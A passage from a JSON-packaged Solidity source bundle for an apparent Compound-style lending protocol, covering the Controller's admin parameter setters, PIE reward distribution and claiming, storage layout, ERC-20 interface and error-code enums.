FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK);\r\n }\r\n\r\n Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa});\r\n Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa});\r\n if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) {\r\n return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);\r\n }\r\n\r\n Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa});\r\n if (lessThanExp(highLimit, newCloseFactorExp)) {\r\n return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);\r\n }\r\n\r\n uint oldCloseFactorMantissa = closeFactorMantissa;\r\n closeFactorMantissa = newCloseFactorMantissa;\r\n emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets the collateralFactor for a market\r\n * @dev Admin function to set per-market collateralFactor\r\n * @param pToken The market to set the factor on\r\n * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18\r\n * @return uint 0=success, otherwise a failure. (See ErrorReporter for details)\r\n */\r\n function _setCollateralFactor(address pToken, uint newCollateralFactorMantissa) external returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK);\r\n }\r\n\r\n // Verify market is listed\r\n Market storage market = markets[pToken];\r\n if (!market.isListed) {\r\n return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS);\r\n }\r\n\r\n Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa});\r\n\r\n // Check collateral factor <= 0.9\r\n Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa});\r\n if (lessThanExp(highLimit, newCollateralFactorExp)) {\r\n return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION);\r\n }\r\n\r\n oracle.updateUnderlyingPrice(pToken);\r\n // If collateral factor != 0, fail if price == 0\r\n if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(pToken) == 0) {\r\n return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);\r\n }\r\n\r\n // Set market's collateral factor to new collateral factor, remember old value\r\n uint oldCollateralFactorMantissa = market.collateralFactorMantissa;\r\n market.collateralFactorMantissa = newCollateralFactorMantissa;\r\n\r\n // Emit event with asset, old collateral factor, and new collateral factor\r\n emit NewCollateralFactor(pToken, oldCollateralFactorMantissa, newCollateralFactorMantissa);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets maxAssets which controls how many markets can be entered\r\n * @dev Admin function to set maxAssets\r\n * @param newMaxAssets New max assets\r\n * @return uint 0=success, otherwise a failure. (See ErrorReporter for details)\r\n */\r\n function _setMaxAssets(uint newMaxAssets) external returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK);\r\n }\r\n\r\n uint oldMaxAssets = maxAssets;\r\n maxAssets = newMaxAssets;\r\n emit NewMaxAssets(oldMaxAssets, newMaxAssets);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets liquidationIncentive\r\n * @dev Admin function to set liquidationIncentive\r\n * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18\r\n * @return uint 0=success, otherwise a failure. (See ErrorReporter for details)\r\n */\r\n function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK);\r\n }\r\n\r\n // Check de-scaled min <= newLiquidationIncentive <= max\r\n Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa});\r\n Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa});\r\n if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) {\r\n return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);\r\n }\r\n\r\n Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa});\r\n if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) {\r\n return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);\r\n }\r\n\r\n // Save current value for use in log\r\n uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;\r\n\r\n // Set liquidation incentive to new incentive\r\n liquidationIncentiveMantissa = newLiquidationIncentiveMantissa;\r\n\r\n // Emit event with old incentive, new incentive\r\n emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Add the market to the markets mapping and set it as listed\r\n * @dev Admin function to set isListed and add support for the market\r\n * @param pToken The address of the market (token) to list\r\n * @return uint 0=success, otherwise a failure. (See enum Error for details)\r\n */\r\n function _supportMarket(address pToken) external returns (uint) {\r\n if (msg.sender != admin && msg.sender != factory) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK);\r\n }\r\n\r\n if (markets[pToken].isListed) {\r\n return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS);\r\n }\r\n\r\n PTokenInterface(pToken).isPToken(); // Sanity check to make sure its really a PToken\r\n\r\n _addMarketInternal(pToken);\r\n\r\n Market storage newMarket = markets[pToken];\r\n newMarket.isListed = true;\r\n\r\n emit MarketListed(pToken);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _addMarketInternal(address pToken) internal {\r\n require(markets[pToken].isListed == false, \"market already added\");\r\n allMarkets.push(pToken);\r\n }\r\n\r\n /**\r\n * @notice Admin function to change the Pause Guardian\r\n * @param newPauseGuardian The address of the new Pause Guardian\r\n * @return uint 0=success, otherwise a failure. (See enum Error for details)\r\n */\r\n function _setPauseGuardian(address newPauseGuardian) public returns (uint) {\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK);\r\n }\r\n\r\n // Save current value for inclusion in log\r\n address oldPauseGuardian = pauseGuardian;\r\n\r\n // Store pauseGuardian with value newPauseGuardian\r\n pauseGuardian = newPauseGuardian;\r\n\r\n // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian)\r\n emit NewPauseGuardian(oldPauseGuardian, pauseGuardian);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _setMintPaused(address pToken, bool state) public returns (bool) {\r\n require(markets[pToken].isListed, \"cannot pause a market that is not listed\");\r\n require(msg.sender == pauseGuardian || msg.sender == admin, \"only pause guardian and admin can pause\");\r\n require(msg.sender == admin || state == true, \"only admin can unpause\");\r\n\r\n mintGuardianPaused[pToken] = state;\r\n emit ActionPaused(pToken, \"Mint\", state);\r\n return state;\r\n }\r\n\r\n function _setBorrowPaused(address pToken, bool state) public returns (bool) {\r\n require(markets[pToken].isListed, \"cannot pause a market that is not listed\");\r\n require(msg.sender == pauseGuardian || msg.sender == admin, \"only pause guardian and admin can pause\");\r\n require(msg.sender == admin || state == true, \"only admin can unpause\");\r\n\r\n borrowGuardianPaused[pToken] = state;\r\n emit ActionPaused(pToken, \"Borrow\", state);\r\n return state;\r\n }\r\n\r\n function _setTransferPaused(bool state) public returns (bool) {\r\n require(msg.sender == pauseGuardian || msg.sender == admin, \"only pause guardian and admin can pause\");\r\n require(msg.sender == admin || state == true, \"only admin can unpause\");\r\n\r\n transferGuardianPaused = state;\r\n emit ActionPaused(\"Transfer\", state);\r\n return state;\r\n }\r\n\r\n function _setSeizePaused(bool state) public returns (bool) {\r\n require(msg.sender == pauseGuardian || msg.sender == admin, \"only pause guardian and admin can pause\");\r\n require(msg.sender == admin || state == true, \"only admin can unpause\");\r\n\r\n seizeGuardianPaused = state;\r\n emit ActionPaused(\"Seize\", state);\r\n return state;\r\n }\r\n\r\n function _setFactoryContract(address _factory) external returns (uint) {\r\n if (msg.sender != admin) {\r\n return uint(Error.UNAUTHORIZED);\r\n }\r\n\r\n factory = _factory;\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _become(address payable unitroller) public {\r\n require(msg.sender == Unitroller(unitroller).admin(), \"only unitroller admin can change brains\");\r\n require(Unitroller(unitroller)._acceptImplementation() == 0, \"change not authorized\");\r\n }\r\n\r\n /*** Pie Distribution ***/\r\n\r\n /**\r\n * @notice Set PIE speed for a single market\r\n * @param pToken The market whose PIE speed to update\r\n * @param pieSpeed New PIE speed for market\r\n */\r\n function setPieSpeedInternal(address pToken, uint pieSpeed) internal {\r\n uint currentPieSpeed = pieSpeeds[pToken];\r\n if (currentPieSpeed != 0) {\r\n // note that PIE speed could be set to 0 to halt liquidity rewards for a market\r\n Exp memory borrowIndex = Exp({mantissa: PTokenInterface(pToken).borrowIndex()});\r\n updatePieSupplyIndex(pToken);\r\n updatePieBorrowIndex(pToken, borrowIndex);\r\n } else if (pieSpeed != 0) {\r\n // Add the PIE market\r\n Market storage market = markets[pToken];\r\n require(market.isListed == true, \"pie market is not listed\");\r\n\r\n if (pieSupplyState[pToken].index == 0) {\r\n pieSupplyState[pToken] = PieMarketState({\r\n index: pieInitialIndex,\r\n block: safe32(getBlockNumber(), \"block number exceeds 32 bits\")\r\n });\r\n } else {\r\n pieSupplyState[pToken].block = safe32(getBlockNumber(), \"block number exceeds 32 bits\");\r\n }\r\n\r\n if (pieBorrowState[pToken].index == 0) {\r\n pieBorrowState[pToken] = PieMarketState({\r\n index: pieInitialIndex,\r\n block: safe32(getBlockNumber(), \"block number exceeds 32 bits\")\r\n });\r\n } else {\r\n pieBorrowState[pToken].block = safe32(getBlockNumber(), \"block number exceeds 32 bits\");\r\n }\r\n }\r\n\r\n if (currentPieSpeed != pieSpeed) {\r\n pieSpeeds[pToken] = pieSpeed;\r\n emit PieSpeedUpdated(pToken, pieSpeed);\r\n }\r\n }\r\n\r\n /**\r\n * @notice Accrue PIE to the market by updating the supply index\r\n * @param pToken The market whose supply index to update\r\n */\r\n function updatePieSupplyIndex(address pToken) internal {\r\n PieMarketState storage supplyState = pieSupplyState[pToken];\r\n uint supplySpeed = pieSpeeds[pToken];\r\n uint blockNumber = getBlockNumber();\r\n uint deltaBlocks = sub_(blockNumber, uint(supplyState.block));\r\n if (deltaBlocks > 0 && supplySpeed > 0) {\r\n uint supplyTokens = PTokenInterface(pToken).totalSupply();\r\n uint pieAccrued = mul_(deltaBlocks, supplySpeed);\r\n Double memory ratio = supplyTokens > 0 ? fraction(pieAccrued, supplyTokens) : Double({mantissa: 0});\r\n Double memory index = add_(Double({mantissa: supplyState.index}), ratio);\r\n pieSupplyState[pToken] = PieMarketState({\r\n index: safe224(index.mantissa, \"new index exceeds 224 bits\"),\r\n block: safe32(blockNumber, \"block number exceeds 32 bits\")\r\n });\r\n }\r\n }\r\n\r\n /**\r\n * @notice Accrue PIE to the market by updating the borrow index\r\n * @param pToken The market whose borrow index to update\r\n */\r\n function updatePieBorrowIndex(address pToken, Exp memory marketBorrowIndex) internal {\r\n PieMarketState storage borrowState = pieBorrowState[pToken];\r\n uint borrowSpeed = pieSpeeds[pToken];\r\n uint blockNumber = getBlockNumber();\r\n uint deltaBlocks = sub_(blockNumber, uint(borrowState.block));\r\n if (deltaBlocks > 0 && borrowSpeed > 0) {\r\n uint borrowAmount = div_(PTokenInterface(pToken).totalBorrows(), marketBorrowIndex);\r\n uint pieAccrued = mul_(deltaBlocks, borrowSpeed);\r\n Double memory ratio = borrowAmount > 0 ? fraction(pieAccrued, borrowAmount) : Double({mantissa: 0});\r\n Double memory index = add_(Double({mantissa: borrowState.index}), ratio);\r\n pieBorrowState[pToken] = PieMarketState({\r\n index: safe224(index.mantissa, \"new index exceeds 224 bits\"),\r\n block: safe32(blockNumber, \"block number exceeds 32 bits\")\r\n });\r\n }\r\n }\r\n\r\n /**\r\n * @notice Calculate PIE accrued by a supplier and possibly transfer it to them\r\n * @param pToken The market in which the supplier is interacting\r\n * @param supplier The address of the supplier to distribute PIE to\r\n */\r\n function distributeSupplierPie(address pToken, address supplier, bool distributeAll) internal {\r\n PieMarketState storage supplyState = pieSupplyState[pToken];\r\n Double memory supplyIndex = Double({mantissa: supplyState.index});\r\n Double memory supplierIndex = Double({mantissa: pieSupplierIndex[pToken][supplier]});\r\n pieSupplierIndex[pToken][supplier] = supplyIndex.mantissa;\r\n\r\n if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) {\r\n supplierIndex.mantissa = pieInitialIndex;\r\n }\r\n\r\n Double memory deltaIndex = sub_(supplyIndex, supplierIndex);\r\n uint supplierTokens = PTokenInterface(pToken).balanceOf(supplier);\r\n uint supplierDelta = mul_(supplierTokens, deltaIndex);\r\n uint supplierAccrued = add_(pieAccrued[supplier], supplierDelta);\r\n pieAccrued[supplier] = transferPie(supplier, supplierAccrued, distributeAll ? 0 : pieClaimThreshold);\r\n emit DistributedSupplierPie(pToken, supplier, supplierDelta, supplyIndex.mantissa);\r\n }\r\n\r\n /**\r\n * @notice Calculate PIE accrued by a borrower and possibly transfer it to them\r\n * @dev Borrowers will not begin to accrue until after the first interaction with the protocol.\r\n * @param pToken The market in which the borrower is interacting\r\n * @param borrower The address of the borrower to distribute PIE to\r\n */\r\n function distributeBorrowerPie(\r\n address pToken,\r\n address borrower,\r\n Exp memory marketBorrowIndex,\r\n bool distributeAll\r\n ) internal {\r\n PieMarketState storage borrowState = pieBorrowState[pToken];\r\n Double memory borrowIndex = Double({mantissa: borrowState.index});\r\n Double memory borrowerIndex = Double({mantissa: pieBorrowerIndex[pToken][borrower]});\r\n pieBorrowerIndex[pToken][borrower] = borrowIndex.mantissa;\r\n\r\n if (borrowerIndex.mantissa > 0) {\r\n Double memory deltaIndex = sub_(borrowIndex, borrowerIndex);\r\n uint borrowerAmount = div_(PTokenInterface(pToken).borrowBalanceStored(borrower), marketBorrowIndex);\r\n uint borrowerDelta = mul_(borrowerAmount, deltaIndex);\r\n uint borrowerAccrued = add_(pieAccrued[borrower], borrowerDelta);\r\n pieAccrued[borrower] = transferPie(borrower, borrowerAccrued, distributeAll ? 0 : pieClaimThreshold);\r\n emit DistributedBorrowerPie(pToken, borrower, borrowerDelta, borrowIndex.mantissa);\r\n }\r\n }\r\n\r\n /**\r\n * @notice Claim all the pie accrued by holder in all markets\r\n * @param holder The address to claim PIE for\r\n */\r\n function claimPie(address holder) public {\r\n claimPie(holder, allMarkets);\r\n }\r\n\r\n /**\r\n * @notice Claim all the pie accrued by holder in the specified markets\r\n * @param holder The address to claim PIE for\r\n * @param pTokens The list of markets to claim PIE in\r\n */\r\n function claimPie(address holder, address[] memory pTokens) public {\r\n address[] memory holders = new address[](1);\r\n holders[0] = holder;\r\n claimPie(holders, pTokens, true, true);\r\n }\r\n\r\n /**\r\n * @notice Claim all pie accrued by the holders\r\n * @param holders The addresses to claim PIE for\r\n * @param pTokens The list of markets to claim PIE in\r\n * @param borrowers Whether or not to claim PIE earned by borrowing\r\n * @param suppliers Whether or not to claim PIE earned by supplying\r\n */\r\n function claimPie(address[] memory holders, address[] memory pTokens, bool borrowers, bool suppliers) public {\r\n for (uint i = 0; i < pTokens.length; i++) {\r\n address pToken = pTokens[i];\r\n require(markets[pToken].isListed, \"market must be listed\");\r\n if (borrowers == true) {\r\n Exp memory borrowIndex = Exp({mantissa: PTokenInterface(pToken).borrowIndex()});\r\n updatePieBorrowIndex(pToken, borrowIndex);\r\n for (uint j = 0; j < holders.length; j++) {\r\n distributeBorrowerPie(pToken, holders[j], borrowIndex, true);\r\n }\r\n }\r\n if (suppliers == true) {\r\n updatePieSupplyIndex(pToken);\r\n for (uint j = 0; j < holders.length; j++) {\r\n distributeSupplierPie(pToken, holders[j], true);\r\n }\r\n }\r\n }\r\n }\r\n\r\n /**\r\n * @notice Transfer PIE to the user\r\n * @dev Note: If there is not enough PIE, we do not perform the transfer all.\r\n * @param user The address of the user to transfer PIE to\r\n * @param userAccrued The amount of PIE to (possibly) transfer\r\n * @return The userAccrued of PIE which was NOT transferred to the user\r\n */\r\n function transferPie(address user, uint userAccrued, uint threshold) internal returns (uint) {\r\n if (userAccrued >= threshold && userAccrued > 0) {\r\n address pie = getPieAddress();\r\n uint pieRemaining = EIP20Interface(pie).balanceOf(address(this));\r\n if (userAccrued <= pieRemaining) {\r\n EIP20Interface(pie).transfer(user, userAccrued);\r\n return 0;\r\n }\r\n }\r\n return userAccrued;\r\n }\r\n\r\n /*** Pie Distribution Admin ***/\r\n\r\n /**\r\n * @notice Set PIE speed for a single market\r\n * @param pToken The market whose PIE speed to update\r\n * @param pieSpeed New PIE speed for market\r\n */\r\n function _setPieSpeed(address pToken, uint pieSpeed) public {\r\n require(msg.sender == admin, \"only admin can set pie speed\");\r\n setPieSpeedInternal(pToken, pieSpeed);\r\n }\r\n\r\n /**\r\n * @notice Return all of the markets\r\n * @dev The automatic getter may be used to access an individual market.\r\n * @return The list of market addresses\r\n */\r\n function getAllMarkets() public view returns (address[] memory) {\r\n return allMarkets;\r\n }\r\n\r\n function getBlockNumber() public view virtual returns (uint) {\r\n return block.number;\r\n }\r\n\r\n /**\r\n * @notice Return the address of the PIE token\r\n * @return The address of PIE\r\n */\r\n function getPieAddress() public view virtual returns (address) {\r\n return pieAddress;\r\n }\r\n\r\n function getOracle() public view override returns (PriceOracle) {\r\n return oracle;\r\n }\r\n}", "keccak256": "0x2ab167ec7a01e80f750f1b794239ea335c0285e98c3404f9392ebd5d6f5f7e16" }, "contracts/ControllerInterface.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./PriceOracle.sol\";\r\n\r\nabstract contract ControllerInterface {\r\n /// @notice Indicator that this is a Controller contract (for inspection)\r\n bool public constant isController = true;\r\n\r\n /*** Assets You Are In ***/\r\n\r\n function enterMarkets(address[] calldata pTokens) external virtual returns (uint[] memory);\r\n function exitMarket(address pToken) external virtual returns (uint);\r\n\r\n /*** Policy Hooks ***/\r\n\r\n function mintAllowed(address pToken, address minter, uint mintAmount) external virtual returns (uint);\r\n function redeemAllowed(address pToken, address redeemer, uint redeemTokens) external virtual returns (uint);\r\n function redeemVerify(address pToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual;\r\n function borrowAllowed(address pToken, address borrower, uint borrowAmount) external virtual returns (uint);\r\n\r\n function repayBorrowAllowed(\r\n address pToken,\r\n address payer,\r\n address borrower,\r\n uint repayAmount) external virtual returns (uint);\r\n\r\n function liquidateBorrowAllowed(\r\n address pTokenBorrowed,\r\n address pTokenCollateral,\r\n address liquidator,\r\n address borrower,\r\n uint repayAmount) external virtual returns (uint);\r\n\r\n function seizeAllowed(\r\n address pTokenCollateral,\r\n address pTokenBorrowed,\r\n address liquidator,\r\n address borrower,\r\n uint seizeTokens) external virtual returns (uint);\r\n\r\n function transferAllowed(address pToken, address src, address dst, uint transferTokens) external virtual returns (uint);\r\n\r\n /*** Liquidity/Liquidation Calculations ***/\r\n\r\n function liquidateCalculateSeizeTokens(\r\n address pTokenBorrowed,\r\n address pTokenCollateral,\r\n uint repayAmount) external view virtual returns (uint, uint);\r\n\r\n function getOracle() external view virtual returns (PriceOracle);\r\n}\r\n", "keccak256": "0x2f7251d9b6a6df0522aa1b52d86ebbea11edff0c258af55d889c745ef81c2af2" }, "contracts/ControllerStorage.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./PriceOracle.sol\";\r\n\r\ncontract UnitrollerAdminStorage {\r\n /**\r\n * @notice Administrator for this contract\r\n */\r\n address public admin;\r\n\r\n /**\r\n * @notice Pending administrator for this contract\r\n */\r\n address public pendingAdmin;\r\n\r\n /**\r\n * @notice Active brains of Unitroller\r\n */\r\n address public controllerImplementation;\r\n\r\n /**\r\n * @notice Pending brains of Unitroller\r\n */\r\n address public pendingControllerImplementation;\r\n}\r\n\r\ncontract ControllerStorage is UnitrollerAdminStorage {\r\n /**\r\n * @notice Oracle which gives the price of any given asset\r\n */\r\n PriceOracle public oracle;\r\n\r\n /**\r\n * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow\r\n */\r\n uint public closeFactorMantissa;\r\n\r\n /**\r\n * @notice Multiplier representing the discount on collateral that a liquidator receives\r\n */\r\n uint public liquidationIncentiveMantissa;\r\n\r\n /**\r\n * @notice Max number of assets a single account can participate in (borrow or use as collateral)\r\n */\r\n uint public maxAssets;\r\n\r\n /**\r\n * @notice Per-account mapping of \"assets you are in\", capped by maxAssets\r\n */\r\n mapping(address => address[]) public accountAssets;\r\n\r\n /// @notice isListed Whether or not this market is listed\r\n /**\r\n * @notice collateralFactorMantissa Multiplier representing the most one can borrow against their collateral in this market.\r\n * For instance, 0.9 to allow borrowing 90% of collateral value.\r\n * Must be between 0 and 1, and stored as a mantissa.\r\n */\r\n /// @notice accountMembership Per-market mapping of \"accounts in this asset\"\r\n /// @notice isPied Whether or not this market receives PIE\r\n struct Market {\r\n bool isListed;\r\n uint collateralFactorMantissa;\r\n mapping(address => bool) accountMembership;\r\n bool isPied;\r\n }\r\n\r\n /**\r\n * @notice Official mapping of pTokens -> Market metadata\r\n * @dev Used e.g. to determine if a market is supported\r\n */\r\n mapping(address => Market) public markets;\r\n\r\n /**\r\n * @notice The Pause Guardian can pause certain actions as a safety mechanism.\r\n * Actions which allow users to remove their own assets cannot be paused.\r\n * Liquidation / seizing / transfer can only be paused globally, not by market.\r\n */\r\n address public pauseGuardian;\r\n bool public _mintGuardianPaused;\r\n bool public _borrowGuardianPaused;\r\n bool public transferGuardianPaused;\r\n bool public seizeGuardianPaused;\r\n mapping(address => bool) public mintGuardianPaused;\r\n mapping(address => bool) public borrowGuardianPaused;\r\n\r\n /// @notice index The market's last updated pieBorrowIndex or pieSupplyIndex\r\n /// @notice block The block number the index was last updated at\r\n struct PieMarketState {\r\n uint224 index;\r\n uint32 block;\r\n }\r\n\r\n /// @notice A list of all markets\r\n address[] public allMarkets;\r\n\r\n /// @notice The rate at which the flywheel distributes PIE, per block\r\n uint public pieRate;\r\n\r\n /// @notice Address of the PIE token\r\n address public pieAddress;\r\n\r\n // @notice Address of the factory\r\n address public factory;\r\n\r\n /// @notice The portion of pieRate that each market currently receives\r\n mapping(address => uint) public pieSpeeds;\r\n\r\n /// @notice The PIE market supply state for each market\r\n mapping(address => PieMarketState) public pieSupplyState;\r\n\r\n /// @notice The PIE market borrow state for each market\r\n mapping(address => PieMarketState) public pieBorrowState;\r\n\r\n /// @notice The PIE borrow index for each market for each supplier as of the last time they accrued PIE\r\n mapping(address => mapping(address => uint)) public pieSupplierIndex;\r\n\r\n /// @notice The PIE borrow index for each market for each borrower as of the last time they accrued PIE\r\n mapping(address => mapping(address => uint)) public pieBorrowerIndex;\r\n\r\n /// @notice The PIE accrued but not yet transferred to each user\r\n mapping(address => uint) public pieAccrued;\r\n}", "keccak256": "0x072d5f766cd5ca80514c814eed5b029ce7ab3d25c0d15e0840f2869ae53c0cae" }, "contracts/EIP20Interface.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\n/**\r\n * @title ERC 20 Token Standard Interface\r\n * https://eips.ethereum.org/EIPS/eip-20\r\n */\r\ninterface EIP20Interface {\r\n function name() external view returns (string memory);\r\n function symbol() external view returns (string memory);\r\n function decimals() external view returns (uint8);\r\n\r\n /**\r\n * @notice Get the total number of tokens in circulation\r\n * @return The supply of tokens\r\n */\r\n function totalSupply() external view returns (uint256);\r\n\r\n /**\r\n * @notice Gets the balance of the specified address\r\n * @param owner The address from which the balance will be retrieved\r\n * @return The balance\r\n */\r\n function balanceOf(address owner) external view returns (uint256);\r\n\r\n /**\r\n * @notice Transfer `amount` tokens from `msg.sender` to `dst`\r\n * @param dst The address of the destination account\r\n * @param amount The number of tokens to transfer\r\n * @return Whether or not the transfer succeeded\r\n */\r\n function transfer(address dst, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @notice Transfer `amount` tokens from `src` to `dst`\r\n * @param src The address of the source account\r\n * @param dst The address of the destination account\r\n * @param amount The number of tokens to transfer\r\n * @return Whether or not the transfer succeeded\r\n */\r\n function transferFrom(address src, address dst, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @notice Approve `spender` to transfer up to `amount` from `src`\r\n * @dev This will overwrite the approval amount for `spender`\r\n * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)\r\n * @param spender The address of the account which may transfer tokens\r\n * @param amount The number of tokens that are approved (-1 means infinite)\r\n * @return Whether or not the approval succeeded\r\n */\r\n function approve(address spender, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @notice Get the current allowance from `owner` for `spender`\r\n * @param owner The address of the account which owns the tokens to be spent\r\n * @param spender The address of the account which may transfer tokens\r\n * @return The number of tokens allowed to be spent (-1 means infinite)\r\n */\r\n function allowance(address owner, address spender) external view returns (uint256);\r\n\r\n event Transfer(address indexed from, address indexed to, uint256 amount);\r\n event Approval(address indexed owner, address indexed spender, uint256 amount);\r\n}\r\n", "keccak256": "0xc91d2e339f7530a36f019778a91fc039e75465cc00e8cdc675e3d8231b5dcc39" }, "contracts/ErrorReporter.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\ncontract ControllerErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n UNAUTHORIZED,\r\n CONTROLLER_MISMATCH,\r\n INSUFFICIENT_SHORTFALL,\r\n INSUFFICIENT_LIQUIDITY,\r\n INVALID_CLOSE_FACTOR,\r\n INVALID_COLLATERAL_FACTOR,\r\n INVALID_LIQUIDATION_INCENTIVE,\r\n MARKET_NOT_ENTERED, // no longer possible\r\n MARKET_NOT_LISTED,\r\n MARKET_ALREADY_LISTED,\r\n MATH_ERROR,\r\n NONZERO_BORROW_BALANCE,\r\n PRICE_ERROR,\r\n PRICE_UPDATE_ERROR,\r\n REJECTION,\r\n SNAPSHOT_ERROR,\r\n TOO_MANY_ASSETS,\r\n TOO_MUCH_REPAY\r\n }\r\n\r\n enum FailureInfo {\r\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\r\n ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,\r\n EXIT_MARKET_BALANCE_OWED,\r\n EXIT_MARKET_REJECTION,\r\n SET_CLOSE_FACTOR_OWNER_CHECK,\r\n SET_CLOSE_FACTOR_VALIDATION,\r\n SET_COLLATERAL_FACTOR_OWNER_CHECK,\r\n SET_COLLATERAL_FACTOR_NO_EXISTS,\r\n SET_COLLATERAL_FACTOR_VALIDATION,\r\n SET_COLLATERAL_FACTOR_WITHOUT_PRICE,\r\n SET_IMPLEMENTATION_OWNER_CHECK,\r\n SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,\r\n SET_LIQUIDATION_INCENTIVE_VALIDATION,\r\n SET_MAX_ASSETS_OWNER_CHECK,\r\n SET_PAUSE_GUARDIAN_OWNER_CHECK,\r\n SET_PENDING_ADMIN_OWNER_CHECK,\r\n SET_PENDING_IMPLEMENTATION_OWNER_CHECK,\r\n SET_PRICE_ORACLE_OWNER_CHECK,\r\n SUPPORT_MARKET_EXISTS,\r\n SUPPORT_MARKET_OWNER_CHECK\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n\r\n /**\r\n * @dev use this when reporting an opaque error from an upgradeable collaborator contract\r\n */\r\n function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), opaqueError);\r\n\r\n return uint(err);\r\n }\r\n}\r\n\r\ncontract TokenErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n UNAUTHORIZED,\r\n BAD_INPUT,\r\n CONTROLLER_REJECTION,\r\n CONTROLLER_CALCULATION_ERROR,\r\n INTEREST_RATE_MODEL_ERROR,\r\n INVALID_ACCOUNT_PAIR,\r\n INVALID_CLOSE_AMOUNT_REQUESTED,\r\n INVALID_COLLATERAL_FACTOR,\r\n MATH_ERROR,\r\n MARKET_NOT_FRESH,\r\n MARKET_NOT_LISTED,\r\n TOKEN_INSUFFICIENT_ALLOWANCE,\r\n TOKEN_INSUFFICIENT_BALANCE,\r\n TOKEN_INSUFFICIENT_CASH,\r\n TOKEN_TRANSFER_IN_FAILED,\r\n TOKEN_TRANSFER_OUT_FAILED\r\n }\r\n\r\n /*\r\n * Note: FailureInfo (but not Error) is kept in alphabetical order\r\n * This is because FailureInfo grows significantly faster, and\r\n * the order of Error has some meaning, while the order of FailureInfo\r\n * is entirely arbitrary.\r\n */\r\n enum FailureInfo {\r\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\r\n ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,\r\n ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,\r\n 